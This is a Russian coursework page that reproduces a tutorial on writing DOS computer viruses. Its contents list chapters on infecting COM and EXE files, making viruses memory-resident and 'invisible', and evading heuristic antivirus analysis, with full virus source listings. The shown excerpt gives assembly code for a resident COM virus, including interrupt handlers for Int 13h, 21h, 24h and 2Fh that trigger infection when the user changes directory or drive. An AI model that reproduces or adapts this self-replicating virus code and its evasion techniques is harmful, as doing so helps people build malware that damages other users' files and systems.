Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

    ется вирусом .

    Следующее отличие - наш  вирус проверяет,является -

    ли найденный файл  командным  процессором  COMMAND.

    COM .Для этого используется  процедура SEARCH,кото-

    рая возвращает INSIDE = 1,  если найден  командный

    процессор, или INSIDE = 0 - в противном случае .

    Так как иногда COM-файлы  на самом деле имеют EXE -

    формат, их размер может  превышать 64 Кбайта,и сле-

    дует  проверить,  не  является - ли найденный  нами

    файл  именно  таким,  иначе при  заражении он  будет

    безнадежно испорчен .С  этой целью вирус  считывает

    из DTA слово по смещению  01Ch,  и сравнивает  его

    с нулем .Если это  слово равно нулю,размер файла  не

    превышает 64 Кбайт,и его  можно заражать .Кроме то-

    го,неплохо было бы  проверить формат файла.Для это-

    го нужно  проверить  его первые два байта. Если  мы

    имеем дело с EXE - файлом, то указанные байты  со-

    держат ASCII - коды символов " M " и " Z ". Думаю,

    читатель сам при желании  допишет несколько необхо-

    димых для этого команд.

    И последнее - мы выяснили,( см. п. 2.5) что первы-

    ми двумя байтами,которые  должны записываться в ко-

    нец файла, должна  быть команда перехода на  секцию

    инициализации вируса .Эту  функцию выполняют коман-

    ды,записанные за меткой " write_vir " .Сам код ко-

    манды  перехода хранится в области  " end_file " .

 

    *

      Не спешите торжествовать по  поводу того, что ав-

      тор этой книги не смог сделать  вирус, заражающий

      COMMAND.COM, и поэтому, вероятно, является "чай-

      ником". На  самом деле  вирус  отлично работает с

      командным процессором и при  этом не глюкует. За-

      щита введена только для вашего  же блага, так как

      заражение  COMMAND.COM " нестандартным  " вирусом

      - крайне неприятное  событие. Подготовленный чи-

      татель без  труда  снимет  такую " защиту ".

 

 

              2.15 Восстанавливаем регистры

 

    Перед  тем, как передать управление  прерванной про-

    грамме,необходимо  восстановить значения регистров,

    которые  имели место при получении управления рези-

    дентной   программой :

 

    exit_zarasa:                      ;Восстановим

                                      ;регистры

                                      ;процессора ...

               pop es

               pop ds

               pop bp

               pop di

               pop si

               pop dx

               pop cx

               pop bx

               pop ax

       popf

               mov ss,cs:ss_save-110h ;Восстановим

               mov sp,cs:sp_save-110h ;стек ...

               iret

 

    Кроме того, вирус восстанавливает  стек  прерванной

    программы, без чего  дальнейшая работа невозможна .

 

 

            2.16 Пишем обработчики прерываний

 

    Для начала выясним,  какие прерывания и с какой  це-

    лью наш вирус будет перехватывать .

    Во - первых, необходимо  перехватить прерывание Int

    21h .Дело в том, что  наш вирус является  резидент-

    ным, и должен заражать  файлы при тех или иных  со-

    бытиях в вычислительной  системе.Очень многие виру-

    сы активизируются, например,при смене текущего ди-

    ска или каталога .Этот  метод является весьма удач-

    ным, и мы реализуем  именно его .Но для этого  нужно

    знать, когда именно  выполняются смена каталога или

    диска.Единственный способ  узнать о таком событии -

    это перехватить прерывание Int 21h на себя,  и при

    каждом его вызове  проверять, какая именно  функция

    вызывается . Так мы и  сделаем .

    Во - вторых, нам не обойтись  без перехвата Int 13h

    ( см п. 2.13 ) .

    В - третьих,поскольку  наш вирус будет пользоваться

    функциями DOS,которые  работают с диском в резиден-

    тном режиме,необходимо  знать,когда можно безопасно

    обращаться  к этим  функциям . Для  этого  следует

    перехватить прерывание Int 28h,которое всегда  вы-

    зывается только при выполнении DOS реентерабельной

    секции своего кода .Иными  словами, при возникнове-

    нии  прерывания Int 28h можно  смело  пользоваться

    любыми  функциями DOS .

    Далее, для проверки  наличия вирусного кода в памя-

    ти  наш вирус будет  использовать  так  называемое

    мультиплексное прерывание - Int 2fh, и поэтому  мы

    должны перехватить и  его ( см п. 2.7 ) .

    И, наконец, мы должны  написать обработчик критиче-

    ской ошибки .Она возникает,например,если  мы попы-

    таемся записать информацию на вынутую из дисковода

    дискету . Наш вирус  должен  перехватить прерывание

    по критической ошибке ( Int 24h ) и выполнить  его

    обработку .

 

 

                 2.17 Обработчик Int 13h

 

    Как мы уже выяснили, этот обработчик должен  запи-

    сывать в ячейку " tg_13h " значение " 1 ", если  в

    данный момент выполняется  прерывание Int 13h,  или

    значение " 0 " - в противном  случае .

    К сожалению,в  MS DOS отсутствует какое - либо сре-

    дство,  позволяющее узнать, когда именно  активно

    прерывание Int 13h .И поэтому  единственный  способ

    решения  этой задачи - установка на Int 13h так  на-

    зываемого  " фильтра ",  который  отслеживал  бы все

    вызовы  вышеуказанного прерывания .

    Самое  простое решение - это перехватить Int 13h на

    себя,а  в самом обработчике вызвать  системный обра-

    ботчик  как дальнюю процедуру .Конечно,  перед этим

    нужно  записать в " tg_13h" единицу  - это будет ин-

    дикатором  выполнения Int 13h в данный  момент .Ко-

    гда  системный  обработчик  выполнится,  управление

    вновь  получит " фильтр ".Поскольку  Int 13h уже вы-

    полнилось,  можно сбросить в "0" переменную tg_13h.

    Итак :

 

    ; _______________________________________________

    ;|                                               |

    ;| Напишем  новые обработчики INT 13h, INT 21h,   |

    ;| INT 24h и INT 2fh ...                         |

    ;|_______________________________________________|

 

               to_new_13h equ $-vir

 

    new_13h:   jmp cs:start_13h

 

    tg_13h     db   0

    ax_13h     dw   0

    cs_13h     dw   0

    ip_13h     dw   0

 

    start_13h: mov cs:tg_13h - 110h,1

               pushf

               db 9ah                 ;Код команды

    old_13h    dw 0                   ; " CALL " ...

    old_13h_2  dw 0

               mov cs:ax_13h - 110h,ax;Поместим новый

               pop ax                 ;флаг на место

               mov cs:ip_13h - 110h,ax;старого ( CF )

               pop ax

               mov cs:cs_13h - 110h,ax

               pop ax

               pushf

               mov ax,cs:cs_13h - 110h

               push ax

               mov ax,cs:ip_13h - 110h

               push ax

               mov ax,cs:ax_13h - 110h

               mov cs:tg_13h - 110h,0

               iret

 

    Здесь константа " to_new_13h " показывает смещение

    от начала вирусного  кода до начала обработчика  .

    Хотелось бы обратить  ваше внимание на одну особен-

    ность .Она состоит  в том, что прерывания Int 21h и

    Int 13h возвращают в регистре AX код  ошибки,а бит

    CF регистра флагов используется  как индикатор этой

    ошибки .

    Пусть,  например, при получении фильтром  управления

    бит  CF имел  значение  FLAG 1,  а регистры CS и IP

    имели  значения CS 1 и IP 1.Тогда команда  " pushf "

    занесет  значение FLAG 1 в стек .Команда "call" по-

    местит  в стек значения CS 1 и IP 1,после  чего  уп-

    равление  получит системный обработчик .Этот  обра-

    ботчик  занесет в стек значение FLAG 2, и  при своем

    завершении выполнит  команду "iret" .Команда "iret"

    снимет с вершины стека  значения IP 1,CS 1 и FLAG2.

    Теперь уже наш фильтр  сбросит в  " 0 "  переменную

    " tg_13h ",и командой " iret " передаст управление

    прерванной программе  .Но дело в том, что эта  кома-

    нда извлечет  из стека   значения IP и CS,  которые

    имели место в момент  вызова прерывания Int 13h,  а

    также регистр флагов FLAG 1 .Таким образом,из сте-

    ка будет извлечен FLAG 1 вместо FLAG 2 !Чтобы это-

    го не произошло, мы  должны поместить в стек FLAG 2

    вместо FLAG 1 . Именно для этого предназначены ко-

    манды,записанные после  ячейки " old_13h_2 ".Работа

    этих команд особых  пояснений не требует .Мы просто

    " добираемся " до нужной  ячейки в стеке,  последо-

    вательно считывая предшествующие .Можно, конечно,

    написать более эффективный  фрагмент,зато выбранный

    нами метод достаточно  прост .

 

 

                 2.18 Обработчик Int 21h

 

    Рассмотрим теперь создание  обработчика  прерывания

    Int 21h .Как  мы договорились,  он должен  помещать

    " единицу " в ячейку " tg_infect ",  если DOS  вы-

    полняет  смену текущего каталога или  диска  ( см п.

    2.5 ) .Поэтому  напишем  " фильтр ", который   будет

    проверять,  какая именно функция DOS вызвана   в тот

    или  иной момент :

 

    ;-------------------------------------------------

 

               to_new_21h equ $-vir

 

    new_21h:   jmp cs:start_21h

 

    tg_infect  db   0

 

    start_21h: pushf

               push di

               push es

               xor di,di              ;Перехват

               mov es,di              ;INT 24h в рези-

               mov di,90h             ;дентном режиме

               mov word ptr es:[di],to_new_24h

               mov es:[di+2],cs

               cmp ah,03bh            ;Активизировать

                                      ;вирус ?

               jne cs:new_cmp_1

               mov cs:tg_infect-110h,1;Да - взводим

                                      ;триггер ...

    new_cmp_1: cmp ah,00eh

               jne cs:to_jump

               mov cs:tg_infect - 110h,1

   to_jump:   pop es

               pop di

               popf

               db 0eah                ;Переход на ста-

    old_21h    dw 0                   ;рый обработчик

    old_21h_2  dw 0                   ;INT 21h ...

 

    Поскольку при вызове функции DOS в регистре AH за-

    дается ее номер,достаточно  просто проанализировать

    его и " выловить " нужные значения.Наш вирус будет

    реагировать на смену  текущего каталога (AH=03Bh),и

    смену текущего диска  (AH=0Eh) .Эти числа и пытает-

    ся обнаружить " фильтр " .

    Далее - так как нам  нужно всего лишь  определить,

    какая функция DOS вызвана,  нет смысла после завер-

    шения системного обработчика  передавать управление

    обратно в " фильтр " .По этой причине отпадает  не-

    обходимость сложных  " манипуляций " со стеком, ко-

    торые мы проделывали  в предыдущем пункте .

    Помимо решения своей  конкретной задачи, написанный

    нами обработчик используется  для перехвата  преры-

    вания Int 24h.Делается это  прямым обращением к та-

    блице векторов  прерываний . Так же  перехватывает

    прерывания и секция  инициализации  при  установке

    вируса в память .Правда, вы можете спросить, зачем

    потребовалась такая  сложная  методика  перехвата,

    и почему бы не выполнить  его в секции  инициализа-

    ции  ? Дело в том, что такой прием  будет "работать"

    только  в MS DOS .WINDOWS 95,  например,  постоянно

    восстанавливает  вектор Int 24h, что делает бессмы-

    сленным  изменение вектора " только  один раз ".Тру-

    дно  сказать, зачем в WINDOWS 95 принято  восстанав-

    ливать  вектор .Вероятно, это сделано для   надежно-

    сти  работы системы .При создании резидентного EXE-

    вируса  мы поговорим  еще об одной  " странности "

    этой  популярной операционной системы,которая  поме-

    шает  нам сделать вирусную программу  " невидимой "

    для  антивирусных средств .

 

 

                 2.19 Обработчик Int 24h

 

    Этот  обработчик должен  устанавливать   собственную

    реакцию  на критическую ошибку .Вызывается  он очень

    редко,поэтому  просто сделаем так,чтобы при  появле-

    нии  ошибки не происходило " зависание  " .Для этого

    достаточно  вернуть управление прерванной  програм-

    ме,поместив  предварительно в регистр AL код  " 3 ":

 

    ;-------------------------------------------------

 

               to_new_24h equ $ - vir

 

    new_24h:   mov al,3               ;Вернем програм-

               iret                   ;ме управление

 

 

                 2.20 Обработчик Int 2Fh

 

    Напишем  обработчик Int 2Fh . Мы договорились  испо-

    льзовать  это прерывание для проверки наличия виру-

    са  в памяти .

    Напомним,что  секция инициализации для решения  ука-

    занной  задачи вызывает Int 2Fh c такими параметра-

    ми :

 

     AX = 0F000h

     BX = 01997h .

 

    Если  вирус уже инсталлирован в  память,его обработ-

    чик  должен вернуть AL = 0FFh, это значение  и  ана-

    лизирует  секция инициализации при запуске  заражен-

    шой  программы . Исходя из всего  сказанного,  можно

    написать  такой фрагмент :

 

    ;-------------------------------------------------

               to_new_2fh equ $ - vir

 

Информация о работе Вирусы